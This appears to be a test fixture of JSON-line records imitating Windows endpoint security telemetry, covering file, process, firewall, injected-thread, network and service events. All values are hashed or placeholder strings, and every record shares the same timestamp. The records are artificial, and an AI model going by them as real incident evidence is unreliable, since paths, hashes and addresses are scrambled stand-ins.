+{"ExitCode":"0","ParentProcessId":"2000300900003","ContextThreadId":"632014600074400","aip":"216.160.83.56","ConHostId":"6810","UserSid":"S-78552-69545-47377","CycleTime":"380603073","event_platform":"Win","ConHostProcessId":"2000300900003","MaxThreadCount":"7","EventOrigin":"45","ImageSubsystem":"2","id":"f3b8bd9b2757d9904f845a44ff61827fa755","EffectiveTransmissionClass":"3","timestamp":"1743508799999","KernelTime":"0","UserTime":"0","event_simpleName":"EndOfProcess","RawProcessId":"42084","ContextTimeStamp":"1758502938.869","ConfigStateHash":"710307050","ContextProcessId":"5040620588024","SHA256HashData":"f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"8040620588024","Entitlements":"46","name":"e8d15f653d9c08b","ProcessStartTime":"1745927326.269","aid":"3b473364ed16d25221bdb0b435aac52a","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1754418925.502","ConfigStateHash":"710307050","ContextProcessId":"9001004100012","IrpFlags":"1730","ContextThreadId":"560346007270302","MinorFunction":"0","aip":"216.160.83.56","FileIdentifier":"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","MajorFunction":"40","Entitlements":"96","name":"a1721c8914da805eb47","EventOrigin":"1","OperationFlags":"0","id":"b43f550a47cfaab7904ddcd4c778b2d7d2e1","FileObject":"0","EffectiveTransmissionClass":"3","aid":"39074f37291ca6f2d189c1e110e04dfc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe"} +{"event_simpleName":"FileDeleteInfo","ContextTimeStamp":"1758466867.856","ConfigStateHash":"3440491101","ContextProcessId":"920132208508","ContextThreadId":"549000000070475","aip":"81.2.69.192","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TreeId":"400800208204","Entitlements":"56","name":"e1326813e53e44b4","EventOrigin":"3","id":"f17c8a57d6ffa5f985caf45f729cb254772a","EffectiveTransmissionClass":"3","aid":"e1a82faad25f1bc57da5f8b7457d9014","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\9134161b\\b169fe25\\44ca.TMP"} +{"Status":"0","event_simpleName":"FileOpenInfo","ContextTimeStamp":"1762335422.843","ConfigStateHash":"9250777000","ContextProcessId":"9011580900835","ContextThreadId":"920000001740500","aip":"216.160.83.56","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","ShareAccess":"7","DesiredAccess":"5040660","TreeId":"250760900008","Entitlements":"26","name":"c4a834c02a00fb","EventOrigin":"3","id":"46a19a602437699cf4aefb060e91441ba891","EffectiveTransmissionClass":"3","aid":"ea08505420aa828a0a52a6eed3c8a196","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key"} +{"event_simpleName":"FileRenameInfo","ContextTimeStamp":"1758191223.574","ConfigStateHash":"40820000","ContextProcessId":"50314320728270","SourceFileName":"\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\49830210.WibuCmActDyn","ContextThreadId":"794611930067120","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TreeId":"407060334007","Entitlements":"36","name":"f4407c8e4882cbdd","EventOrigin":"3","id":"2d662aa35187373d94203d08fc2e4e7115c6","EffectiveTransmissionClass":"3","aid":"ca48acb776296fd7a6e35ee8c4bbde6d","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\754cfa0e.TMP"} +{"event_simpleName":"FileSystemOperationDetectInfo","ContextTimeStamp":"1761719307.584","ConfigStateHash":"710307050","TemplateDisposition":"40","ContextProcessId":"1000790287600","FileSystemOperationType":"3","TemplateInstanceId":"57521","aip":"216.160.83.56","FsOperationClassification":"67","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"6725e7","FsOperationClassificationFlags":"1","PatternId":"24871","ImageFileName":"6725e7","Entitlements":"66","name":"b22ddf4c03b1a8b30f84e33786dd87b","EventOrigin":"1","id":"ad8c2e5d31cff1e8cdc3892a874ba4927d1a","EffectiveTransmissionClass":"3","aid":"ca2eedaa43a7333759deb5a0191c5313","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\71e36eee\\ce423a9b\\a5e333\\3ec061.sst"} +{"event_simpleName":"FirewallChangeOption","ContextTimeStamp":"1754850825.482","ConfigStateHash":"900805208","FirewallProfile":"1","ContextProcessId":"3001999016003","aip":"89.160.20.128","FirewallOption":"78415d0f02a966","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"36","name":"bd2f52430b3a6e28fa81dc","EventOrigin":"45","id":"ee4fea12623693e1e2aaf450974ca9068925","FirewallOptionNumericValue":"1","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"FirewallDeleteRule","ContextTimeStamp":"1747634138.862","ConfigStateHash":"900805208","ContextProcessId":"2001999016003","aip":"89.160.20.112","FirewallRuleId":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"96","name":"73c6cc568a65a7c085e0","EventOrigin":"45","id":"4ee907bd437184018039dbce46b3b7fb9586","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"FirewallSetRule","ContextTimeStamp":"1751555238.829","ConfigStateHash":"900805208","ContextProcessId":"1001999016003","aip":"81.2.69.144","FirewallRuleId":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"26","name":"e6fc8b7f15db47d1f","EventOrigin":"45","id":"b03302898ff47ac683fe0c4e7679c48615d2","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","FirewallRule":"fb.26|Action=Allow|Active=TRUE|Dir=In|App=C:\\8027a4f5\\97cf27ba\\bc713e9c\\685ac68f.exe|Name=LaunchPortal|Desc=SOM|","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"Options":"94007005","ContextThreadId":"50000395917240","MinorFunction":"0","aip":"216.160.83.56","Information":"1","FileIdentifier":"8b4857694cc53ad00ce1993ae1b2f7dd7e2cb5d73383c306","FltRelatedObjects":"32460687653001750097","event_platform":"Win","ShareAccess":"5","EventOrigin":"1","FltCompletionContext":"53130800032000003010","id":"92f7671f25cc7e1d6c1c2c3958b4a65c9c49","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"FsPostOpenSnapshotFile","ContextTimeStamp":"1749818799.590","ConfigStateHash":"8080600092","ContextProcessId":"7127089080000","IrpFlags":"2500","HandleCreateAuthenticationId":"830","FltCallbackData":"20591370484490000796","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"3900073","SourceEventUniqueId":"903600070008873043","Entitlements":"96","name":"c7a00dc61cb10ab411c95598","OperationFlags":"0","aid":"d3a1c99f621d3d6474555746950ce9b6","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\da2d906a\\d598026\\dc9ec376\\b79606\\be8"} +{"aip":"81.2.69.144","event_platform":"Win","TokenType":"2","EventOrigin":"45","InterfaceGuid":"d1c8f153a6a851a17b18fe88f1dbdc9254bf","RpcClientProcessId":"9757071607353","id":"c7017a5199f1e88eb4a44227da2d1a7c8b0d","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"HostedServiceStarted","TargetThreadId":"482081070860200","ContextTimeStamp":"1753416061.221","UserName":"f3c32fdf5aef1041","ConfigStateHash":"3440491101","InterfaceVersion":"0","RpcClientThreadId":"415000840610900","AuthenticationId":"903030080","ServiceDisplayName":"8a7cb45","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"6009006000008","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\8a7cb45.dll","RpcOpNum":"60","Entitlements":"76","name":"10e85fd7df0a53c38814f5","aid":"22924ad875ce834067bd29857dc11a92","RpcNestingLevel":"1","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"HostedServiceStopped","TargetThreadId":"51930000290120","ContextTimeStamp":"1758159357.606","ConfigStateHash":"3440491101","aip":"89.160.20.112","ServiceDisplayName":"61b6fb","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"2762512126120","Entitlements":"66","name":"c503d72ad653c0dc87f730","EventOrigin":"1","id":"db2dfa574e4ca1c775249f4fae390c93c57f","EffectiveTransmissionClass":"3","aid":"0400bce96c16b71f27978572adb3d4fd","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"TemplateInstanceId":"5008","aip":"89.160.20.112","HttpRequestHeader":"94cd/394e821c.html HTTP/76a3503a/1b8d6be3/00c0ab07/2cfb9ad5/4e2e1f0b","event_platform":"Win","PatternId":"28450","EventOrigin":"1","id":"5c80fd2a838414022b2f083219c6395b3c6a","ParentCommandLine":"82\\ab7e5c1\\c39d646f.EXE","EffectiveTransmissionClass":"2","timestamp":"1743508799999","HttpInternalSource":"2","event_simpleName":"HttpRequestDetect","ContextTimeStamp":"1754127300.344","UserName":"30d376","ConfigStateHash":"9382309105","ContextProcessId":"4064545006008","HttpUrl":"08cf20/7773b6bd.com/394e821c.html","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"54d\\9134161b\\033b4ae8\\44cb\\440b7488\\0dc8e72.EXE\" /n \"C:\\6b0cc\\30d376\\c4deb08f\\23555a08\\4c840c73.docx\" /o \"\"","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\033b4ae8\\4813\\440b7488\\0dc8e72.EXE","Entitlements":"36","name":"8d879a136063d7587c6","aid":"561ee5011fb41796a5d3d22ecc19d681","HttpMethod":"1","cid":"4092825518eaf67377a6e4492ae44577"} +{"ModuleCharacteristics":"86","ContextThreadId":"137030102310","aip":"81.2.69.144","OriginalEventTimeStamp":"1749976122.404","SHA1HashData":"9692067083780606753097782045800757094700","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","EventOrigin":"1","id":"f5638ae317f9e090033436354c7cf5d36549","EffectiveTransmissionClass":"3","ModuleSize":"40360682","timestamp":"1743508799999","event_simpleName":"ImageHash","ContextTimeStamp":"1752117943.580","ConfigStateHash":"5900030004","ContextProcessId":"10705000160","MD5HashData":"896a7b972e546354ae731504897bb216","SHA256HashData":"b04af825f79214304a15028ec496fa629750d2998376793532f6bb3629262fd9","ConfigBuild":"2c8b.4.1403a74.4f","TargetProcessId":"10705000160","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\42955da6\\10b3abfd\\27b5ee41\\dad56584.exe","Entitlements":"16","name":"dccbe56e7b3","PrimaryModule":"1","aid":"64cded9cf5ef1c609147019ee3184217","SignInfoFlags":"1754009","cid":"4092825518eaf67377a6e4492ae44577"} +{"ThreadStartAddress":"947500501770690","InjectedThreadFlag":"430","ContextThreadId":"140004900194068","aip":"81.2.69.192","event_platform":"Win","UserThread":"1","TargetThreadModule":"\\63dc8ea2\\1c329924.dll","EventOrigin":"1","id":"5677e0f1c2f59a879c8c966e3f2583d1b374","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"InjectedThread","TargetThreadId":"505479000700240","RawProcessId":"7310","ContextTimeStamp":"1749520856.920","ConfigStateHash":"240271348","ContextProcessId":"3006607000981","ThreadStartContext":"5177300087920","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"3000303437040","Entitlements":"36","name":"367b7572c21bead4","RawThreadId":"5008","aid":"8fb3daf730de8e73c353f0c4137a51b5","SourceThreadStartAddress":"984100382000810","cid":"4092825518eaf67377a6e4492ae44577"} +{"FileOperatorSid":"S-96058-21257-98492","ContextBaseFileName":"d3571e48e3804d61a8d8f51","FileCategory":"1","Size":"58518","ContextThreadId":"60020000009454","MinorFunction":"0","aip":"216.160.83.56","IsOnNetwork":"0","FileIdentifier":"f6d5e5fb805bf40c0b18541da19518120e0c8b72f04940a8","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\7f136004\\03bd69ab","id":"162ec74e6e37e7616a81feca0a38cbc4e060","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JarFileWritten","ContextTimeStamp":"1762090431.810","ConfigStateHash":"90089570","ContextProcessId":"3097482600003","IrpFlags":"0","SHA256HashData":"c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"45bc1cac0e68ad976","OperationFlags":"0","aid":"e8709208d980534971098b9a6fb8cf05","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\4fad1919.jar"} +{"FileOperatorSid":"S-93967-95057-39657-2269-87803-54839-16636","ContextBaseFileName":"939905f021b64c","FileCategory":"6","Size":"5007","MinorFunction":"0","ContextThreadId":"67010543097020","aip":"81.2.69.192","IsOnNetwork":"0","FileIdentifier":"f9187305c797616a091da12f20ae9d2efa91b48088627f5e","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\fb6901a4","id":"f1d9633f3c4c1752450748ee02e070b772d4","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1750434917.905","ConfigStateHash":"3440491101","ContextProcessId":"568260708421","IrpFlags":"0","AuthenticationId":"9006720370","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"36","name":"f5ccfb1a5e748e3a1361b9","OperationFlags":"0","aid":"2a5a4e5c2a642c985c06f8a712f54c03","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\77d9dc83\\6f9505f\\d6c5e3b\\d199e12\\bba61ca6\\2d931c68.class"} +{"ThreadStartAddress":"7506925004555","InjectedThreadFlag":"940","ContextThreadId":"7029002010518039","aip":"216.160.83.56","event_platform":"Win","UserThread":"1","EventOrigin":"1","id":"5c016fbc5910db79ac911556c19d9efb88c6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JavaInjectedThread","TargetThreadId":"8976303018009002","RawProcessId":"60037","ThreadStartBytes":"9ccbd43213c4cce128ebb1afece9b6e1fc1fa5975d32a036fd154b43248f43de","ContextTimeStamp":"1750712370.441","ConfigStateHash":"1080600092","ContextProcessId":"210000852854060","ThreadStartContext":"7031100880000","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"800000030087834","Entitlements":"36","name":"cad7121649b58818d895","RawThreadId":"50455","aid":"2278e50b41a263c2d8421b5135a380a7","SourceThreadStartAddress":"270106100035044","cid":"4092825518eaf67377a6e4492ae44577"} +{"ValidLifetime":"0","OutOctets":"0","MaxReassemblySize":"0","MediaConnectState":"0","InterfaceMtu":"9560","NlMtu":"0","NetworkGuid":"76f651e25d18ba610cf7770da4e745f9886b","InterfaceAlias":"937aad95bcccd8cfa1a93b7bb9c5a2ead","InDiscards":"0","InBroadcastOctets":"0","InterfaceIndex":"0","InterfaceFlags":"0","PermanentPhysicalAddress":"84-83-02-18-52-28-63-e2-04-16-69-91-78-74-82-30-57-61-38-46-31-03-72-60-27-38-22-88-69-31-67-60","DadState":"0","InterfaceType":"0","MinRouterAdvertisementInterval":"0","EventOrigin":"1","MediaType":"46","id":"b1ba5664a59d4ed815268b354ba0a8ca20f4","AddressFamily":"0","LocalIpAddressPipelineSource":"6","ReceiveLinkSpeed":"300785","AccessType":"4","event_simpleName":"LocalIpAddressIP6","PathMtuDiscoveryTimeout":"0","OutDiscards":"0","LocalAddressIP6":"2a02:cf40::1","IpEntryFlags":"0","PreferredLifetime":"0","ConnectionType":"1","DadTransmits":"0","OperStatus":"2","PhysicalAddress":"99-24-19-28-16-80-11-f3-87-25-11-47-34-01-86-69-80-62-83-83-76-34-14-74-17-18-88-22-65-31-79-46","RouteOrigin":"0","InUnknownProtos":"0","OutErrors":"0","DirectionType":"0","InOctets":"0","Entitlements":"86","name":"a01d5ce18dcbf077bc4","RouteAge":"0","InUcastOctets":"0","aid":"8b33228d110f333bb96bb91288f6d8ad","cid":"4092825518eaf67377a6e4492ae44577","IfType":"0","OutUcastOctets":"0","RetransmitTime":"0","SuffixOrigin":"0","InMulticastOctets":"0","OutBroadcastOctets":"0","CreationTimeStamp":"","LinkLocalAddressBehavior":"0","aip":"89.160.20.112","BaseReachableTime":"0","InErrors":"0","RouterDiscoveryBehavior":"0","LinkLocalAddressTimeout":"0","RouteMetric":"0","event_platform":"Win","SitePrefixLength":"0","TransmitLinkSpeed":"300785","PhysicalAddressLength":"72","InUcastPkts":"0","EffectiveTransmissionClass":"2","PrefixOrigin":"0","timestamp":"1743508799999","SkipAsSource":"0","AdminStatus":"2","OnLinkPrefixLength":"0","TunnelType":"0","ConfigStateHash":"9968901000","InterfaceDescription":"f59e6603c99b77bc826e67f3133aa91ba4","InterfaceIdentifier":"0","ScopeLevel":"0","PrefixLength":"0","OutUcastPkts":"0","NetworkInterfaceGuid":"c5b6c77ed6710604982c8df8956c7d308373","ScopeZone":"0","ConfigBuild":"2c8b.4.ae3729d.e6","PhysicalMediumType":"0","NetLuidIndex":"0","InNUcastPkts":"0","MaxRouterAdvertisementInterval":"0","Metric":"0","ReachableTime":"0","OutMulticastOctets":"0","OutNUcastPkts":"0"} +{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40::2","ConfigStateHash":"9968901000","aip":"89.160.20.128","InterfaceIndex":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","NetLuidIndex":"0","Entitlements":"76","name":"872932933dab2f183b4ce071bd","EventOrigin":"1","id":"46389a39e57e9b858db2074d5f94ec7a526d","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"3","aid":"8b33228d110f333bb96bb91288f6d8ad","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextThreadId":"53282469092040","aip":"81.2.69.142","PublicKeys":"0","event_platform":"Win","EventOrigin":"1","id":"6fa27f66ec6a05ff162d3ee4962108a1518e","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"LsassHandleFromUnsignedModule","ContextTimeStamp":"1752433670.075","ConfigStateHash":"3440491101","ContextProcessId":"617055030004","SHA256HashData":"7b289396ef4bdcf4e4c3d55c81c2090a8735fa93c9a58e5c538ae65e58a1b243","ExtendedKeyUsages":"1","FileSigningTime":"1696360530.000","ConfigBuild":"2c8b.4.ae3729d.e6","Object1Name":"","TargetProcessId":"330096244003","DesiredAccess":"2336","ImageFileName":"\\6ba0bd\\6cf19058\\9134161b\\4b9430\\6cf901c9\\d89a3e44.exe","Entitlements":"66","name":"a94954f7ef7b687d2b265ac33c34fe0","aid":"84bd7271911c13b227952666802a3e71","SignInfoFlags":"932000","Object1Type":"85300006300503060726","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""} +{"event_simpleName":"ModifyServiceBinary","ContextTimeStamp":"1758171248.217","ConfigStateHash":"8200073020","ContextProcessId":"603000080603277383","ServiceDescription":"4329d830\\4a6a0a4b\\4b8e4186.dll,-101","ContextThreadId":"108300250532070103","aip":"216.160.83.56","ServiceSecurity":"1c31d/23092a59","ServiceImagePath":"6d7f6dfd4f514f59d14a90da6a661a3 -2 d140261e9173 -5","ServiceDisplayName":"7a476391b5908bfed8e3c37","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ServiceStart":"3","ServiceType":"840","Entitlements":"16","name":"381f30fed8ec4c276ba29","EventOrigin":"1","ServiceFailureActions":"370906160706958900210000200600006090810303901200700052903087003011111111","id":"f65e6994cc640f2778a1b7af2c40ba921473","ServiceErrorControl":"1","EffectiveTransmissionClass":"3","aid":"c82cce517ab3200fde3ca362e648c993","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextThreadId":"28260411703000","aip":"216.160.83.56","ShareName":"cb8652cba4df7f900","event_platform":"Win","EventOrigin":"1","InterfaceGuid":"6934fcb718b8c1c32c1f9fbbd4bc4e6c7a0c","RpcClientProcessId":"400050400700","id":"c805aeef64230eaf7cd53c8a881aa4e8405a","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"NetShareSecurityModify","ContextTimeStamp":"1756110899.866","UserName":"5f112a78ce366","ConfigStateHash":"8602068629","ContextProcessId":"409640218507","InterfaceVersion":"230092","AuthenticationId":"830","ShareSecurity":"1c31d/825bda18","ConfigBuild":"2c8b.4.a5bcbac.e6","RpcOpNum":"45","Entitlements":"26","name":"e6b491ccab8fa73b85131f75","aid":"3daf1fabea580837c4adcda08036d084","ShareSecuritySddl":"1c31d/aeb465b9","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextBaseFileName":"b95ddafd92696f0e5a","aip":"216.160.83.56","event_platform":"Win","EventOrigin":"1","id":"0fc45c7ed982785c2b6da8717ddcefdcd273","Protocol":"6","EffectiveTransmissionClass":"3","InContext":"0","timestamp":"1743508799999","LocalAddressIP4":"81.2.69.142","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1762067162.385","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"6550917119400","RemotePort":"600","ConfigBuild":"2c8b.4.ae3729d.e6","LocalPort":"60181","Entitlements":"56","name":"13f26050a8e2372ba812","aid":"fd2a2839c2fb96079cb3c756f823e196","RemoteAddressIP4":"89.160.20.128","RemoteAddressString":"3b0cf5a207bde73b","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextBaseFileName":"b971114518c9","RemoteAddressIP6":"2a02:cf40::1","aip":"81.2.69.142","event_platform":"Win","EventOrigin":"1","id":"473484e6b33fdbe4e7274bc98a2365ad9e88","Protocol":"6","EffectiveTransmissionClass":"3","InContext":"0","timestamp":"1743508799999","event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1746290444.357","LocalAddressIP6":"2a02:cf40::2","ConfigStateHash":"205997984","ConnectionFlags":"0","ContextProcessId":"4093698090473","RemotePort":"600","ConfigBuild":"2c8b.4.ae3729d.e6","LocalPort":"45200","Entitlements":"56","name":"f35a9bcaa84e44df3194","aid":"bfc5af54b43f2802d6e18297ab82e810","RemoteAddressString":"2a02:cf40::1","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"} +{"LocalAddressIP4":"89.160.20.128","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1762579185.012","ConfigStateHash":"3440491101","ConnectionFlags":"0","ContextProcessId":"1373030025759","RemotePort":"0","ContextThreadId":"351980000701043","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"73001","Entitlements":"66","name":"3e63bd7ad348fcf149d","EventOrigin":"1","id":"414d7d4c948639bd127ede963b8cd7f205d5","Protocol":"6","EffectiveTransmissionClass":"3","aid":"deb2fe5b3c4891f857b3d5cb68f4d47f","RemoteAddressIP4":"216.160.83.56","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1756453330.351","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::2","ConfigStateHash":"750096004","ConnectionFlags":"0","ContextProcessId":"6002550902534","RemotePort":"0","ContextThreadId":"400604050757015","aip":"216.160.83.56","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","LocalPort":"1049","Entitlements":"96","name":"32e9d89e356847ad161","EventOrigin":"1","id":"6571a795f2d49a994f8fc3840f9780f9a9d8","Protocol":"6","EffectiveTransmissionClass":"3","aid":"fe88182661659af8a192fac5db624574","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"LocalAddressIP4":"216.160.83.56","ContextBaseFileName":"8e8eab0b4bf","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1749621637.544","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"4700009307800","RemotePort":"60702","aip":"89.160.20.112","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"1049","Entitlements":"56","name":"4ccf568bd7cda1587d77b69c3f","EventOrigin":"1","id":"6944305135f71ae54b685de925bc80d24162","Protocol":"6","EffectiveTransmissionClass":"3","aid":"359d1a3764bc9914314c10bbe07b0ee5","RemoteAddressIP4":"89.160.20.128","ConnectionDirection":"1","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextBaseFileName":"8e8eab0b4bf","event_simpleName":"NetworkReceiveAcceptIP6","ContextTimeStamp":"1747626245.373","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::2","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"2000180444147","RemotePort":"8340","aip":"89.160.20.128","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"7340","Entitlements":"36","name":"0f701c259d2d9d9e15dbcf1339","EventOrigin":"1","id":"2de192320bb03a0e9990059a2895376d0213","Protocol":"45","EffectiveTransmissionClass":"3","aid":"15d126c11ad8c113dec6e819ca553cf7","ConnectionDirection":"1","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextThreadId":"703603693040462","MinorFunction":"0","aip":"81.2.69.192","FileIdentifier":"990200511957122000670029061067970349454003500200","event_platform":"Win","NewFileIdentifier":"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330","EventOrigin":"1","id":"3576a8f1eee99ef99a90b644fac69ef96052","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"NewExecutableRenamed","ContextTimeStamp":"1758496164.011","ConfigStateHash":"710307050","ContextProcessId":"6670000954191","SourceFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\d5fdc1af\\b62491c6","IrpFlags":"100651","ConfigBuild":"2c8b.4.ae3729d.e6","MajorFunction":"6","Entitlements":"66","name":"b64d07a4710e4a075cd1f1","OperationFlags":"0","aid":"39074f37291ca6f2d189c1e110e04dfc","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe"} +{"ContextBaseFileName":"7592a3326e8f","Options":"50000230","ContextThreadId":"290000250300138","MinorFunction":"0","aip":"81.2.69.144","Information":"2","FileIdentifier":"069e4fe6f4d10f0e30f24838e1fd3eeab84cda3de7ec491c","event_platform":"Win","ShareAccess":"3","EventOrigin":"1","id":"159069fcc959600bb67b1d499fbba75e246f","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1747496883.062","ConfigStateHash":"9080600092","ContextProcessId":"6609070495594","IrpFlags":"2500","ContextImageFileName":"\\6ba0bd\\447b992c\\d598026\\1c467339.exe","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"4250080","Entitlements":"76","name":"df0d670fd6fc4521a6c960","OperationFlags":"0","aid":"e4a077554af537da06f56e39976d4420","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\2e00f238.lnk"} 